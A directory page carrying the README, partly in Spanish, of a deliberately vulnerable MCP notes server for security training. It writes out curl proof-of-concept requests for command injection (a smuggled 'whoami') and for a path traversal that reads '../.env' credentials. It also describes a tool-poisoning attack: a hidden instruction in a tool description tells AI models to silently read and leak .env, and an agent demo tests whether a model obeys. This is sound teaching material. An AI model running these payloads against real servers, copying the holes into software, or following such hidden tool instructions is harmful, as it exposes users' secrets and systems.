vulnerable-notes-mcp
This is a deliberately vulnerable MCP notes server for practicing security exploitation. It exposes two tools:
search_notes(query)— Searches notes viagrepusing a shellexec()call. The query is unsanitized, enabling command injection (e.g.,"; whoami"). The tool description also contains a hidden<IMPORTANT>instruction telling AI models to silently callread_note("../.env")and append the contents as "diagnostic metadata" — a tool poisoning attack.read_note(path)— Reads a note file from thenotes/directory. The supplied path is joined without validation, enabling path traversal (e.g.,"../.env"returns sensitive credentials likeDATABASE_URLandAPI_KEY).
The server demonstrates three key MCP vulnerabilities: command injection, path traversal, and tool poisoning. It works across both stdio and HTTP transports without requiring a session. Fixed variants (src/fixed-http.ts, src/fixed.ts) are included to confirm corrections side by side.
Click on "Install Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@vulnerable-notes-mcpRead the note about the team reunion"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
vulnerable-notes-mcp
Servidor MCP deliberadamente vulnerable, para reproducir en vivo dos fallas que se auditan contra el MCP remoto real de un tercero, con curl puro:
Command injection — input sin sanitizar concatenado en un
exec()de shell.Path traversal — un parámetro de ruta que se une al directorio permitido sin validar el resultado.
Acompaña el post Auditando un servidor MCP: 2 fallas que se repiten en producción en rockysec.com. Ahí está la explicación completa de cada una, con archivo y línea vulnerable, el PoC y el fix.
No usar como base de nada real. El código en src/vulnerable*.ts existe únicamente para practicar la explotación en un entorno controlado.
Estructura
src/lib/vulnerable-tools.ts las fallas, compartidas por los dos transportes
src/lib/fixed-tools.ts las correcciones, compartidas por los dos transportes
src/vulnerable-http.ts entrypoint HTTP (remoto) — issues 1 y 2: injection y traversal
src/fixed-http.ts entrypoint HTTP (remoto), corregido
src/vulnerable.ts entrypoint stdio (local), solo para el bonus de tool poisoning
src/fixed.ts entrypoint stdio (local), corregido
agent-demo.mjs agente real (AI SDK + GPT-4o-mini), solo para el bonus
notes/ datos de ejemplo
.env.example secretos de prueba: es el archivo que filtra el path traversalLos dos transportes registran exactamente las mismas tools (src/lib/): la elección de stdio vs. HTTP no cambia el bug, cambia solo cómo se lo reproduce.
Related MCP server: Vulnerable MCP Server
Instalación
Requiere Node 20 o superior.
git clone https://github.com/rockysec/vulnerable-notes-mcp
cd vulnerable-notes-mcp
npm install
cp .env.example .env.env contiene credenciales de prueba (DATABASE_URL, API_KEY) que no sirven para nada real: son el objetivo del path traversal más abajo.
Levantar el server vulnerable en http://127.0.0.1:3939/mcp:
npm run start:httpIssue 1: Command Injection
El handler de search_notes concatena el argumento directo en un comando de shell (src/lib/vulnerable-tools.ts).
Uso legítimo, para tener un antes:
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Accept: application/json, text/event-stream" \
-d '{
"jsonrpc": "2.0",
"method": "tools/call",
"params": { "name": "search_notes", "arguments": { "query": "staging" } },
"id": 1
}' \
http://127.0.0.1:3939/mcpAhora el mismo argumento, con un comando extra inyectado:
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Accept: application/json, text/event-stream" \
-d '{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "search_notes",
"arguments": { "query": "nada\" ; echo INYECTADO: $(whoami) ; echo \"" }
},
"id": 2
}' \
http://127.0.0.1:3939/mcpwhoami corre además del grep que se esperaba: la respuesta incluye una línea INYECTADO: <tu usuario>.
Issue 2: Path Traversal
read_note concatena el nombre de archivo al directorio permitido con join, sin validar el resultado (src/lib/vulnerable-tools.ts).
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Accept: application/json, text/event-stream" \
-d '{
"jsonrpc": "2.0",
"method": "tools/call",
"params": { "name": "read_note", "arguments": { "path": "../.env" } },
"id": 3
}' \
http://127.0.0.1:3939/mcpUna tool pensada para leer notas de texto termina devolviendo el contenido de .env.
Este server no requiere sesión (
Mcp-Session-Id): sirve clientes 2025-06-18 sin estado. Si el MCP remoto que estés auditando sí la exige, primero mandá uninitialize, tomá el headerMcp-Session-Idde la respuesta, y repetilo en cada request siguiente. La guía de Glama sobre testing de Streamable HTTP con curl cubre ese flujo completo.
Confirmar las correcciones
Detener el server vulnerable (Ctrl+C) y levantar el corregido en http://127.0.0.1:3940/mcp:
npm run start:http:fixedLos mismos dos curl de arriba, contra el puerto 3940, deberían responder:
# Injection: inerte, "Sin resultados", sin ejecutar whoami
curl -s -X POST -H "Content-Type: application/json" -H "Accept: application/json, text/event-stream" \
-d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"search_notes","arguments":{"query":"nada\" ; echo INYECTADO: $(whoami) ; echo \""}},"id":2}' \
http://127.0.0.1:3940/mcp
# Traversal: bloqueado, isError true, "Ruta fuera de notes/"
curl -s -X POST -H "Content-Type: application/json" -H "Accept: application/json, text/event-stream" \
-d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"read_note","arguments":{"path":"../.env"}},"id":3}' \
http://127.0.0.1:3940/mcpDe este laboratorio a un MCP remoto real
Mandar payloads de ataque contra la infraestructura de producción de un tercero no es lo mismo que probarlos contra tu propio lab. Solo corresponde hacerlo si el proveedor tiene un programa de bug bounty o disclosure que explícitamente incluya su endpoint MCP en el scope, y dentro de esas reglas.
Bonus: Tool Poisoning (local, no cubierto en el post)
El repo incluye también una tercera falla, servida por stdio en vez de HTTP porque se detecta por lectura, sin llamar ninguna tool: instrucciones escondidas en la description de search_notes, que un modelo puede obedecer sin que la persona las vea nunca.
npx @modelcontextprotocol/inspector --cli npx tsx src/vulnerable.ts --method tools/listLa description sale completa, incluida la instrucción oculta dentro de un bloque <IMPORTANT>. Confirmar el fix contra src/fixed.ts con el mismo comando: la descripción corregida es simplemente honesta.
El escenario completo, con un agente real:
export OPENAI_API_KEY=sk-...
npm run agent-demoConecta un modelo real al server vulnerable con @ai-sdk/mcp y le pide que busque una nota. El script imprime cada tool_call que decide hacer el modelo: si obedece la instrucción oculta, va a aparecer una llamada a read_note con ../.env que nadie pidió en el prompt.
A diferencia de los issues 1 y 2, leer tools/list de un MCP real es siempre legítimo: es lo mismo que hace tu propio cliente al conectar el servicio, así que esta falla se puede auditar contra cualquier tercero sin pedir permiso.
Licencia
MIT.
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Tools
Related MCP Servers
- Flicense-qualityFmaintenanceAn educational project that deliberately implements vulnerable MCP servers to demonstrate various security risks like prompt injection, tool poisoning, and code execution for training security researchers and AI safety professionals.Last updated1,324
- Flicense-qualityDmaintenanceAn educational MCP server demonstrating common security vulnerabilities like command injection, path traversal, SQL injection, and XXE attacks. Designed for security training purposes only, not for production use.Last updated
- AlicenseAqualityCmaintenanceAn intentionally vulnerable MCP server for security training, enabling users to practice attacking and defending AI agents through realistic scenarios.Last updated2867MIT
- Flicense-qualityDmaintenanceA vulnerable MCP server designed for educational CTF challenges. It demonstrates various MCP security vulnerabilities in a controlled environment.Last updated8
Related MCP Connectors
Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.
Scans MCP servers for tool poisoning, prompt injection and supply chain risks.
Scan any public GitHub MCP-server repo for security issues. 37 MCP-specific L1 rules, 8 languages.
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/rockysec/vulnerable-notes-mcp'
If you have feedback or need assistance with the MCP directory API, please join our Discord server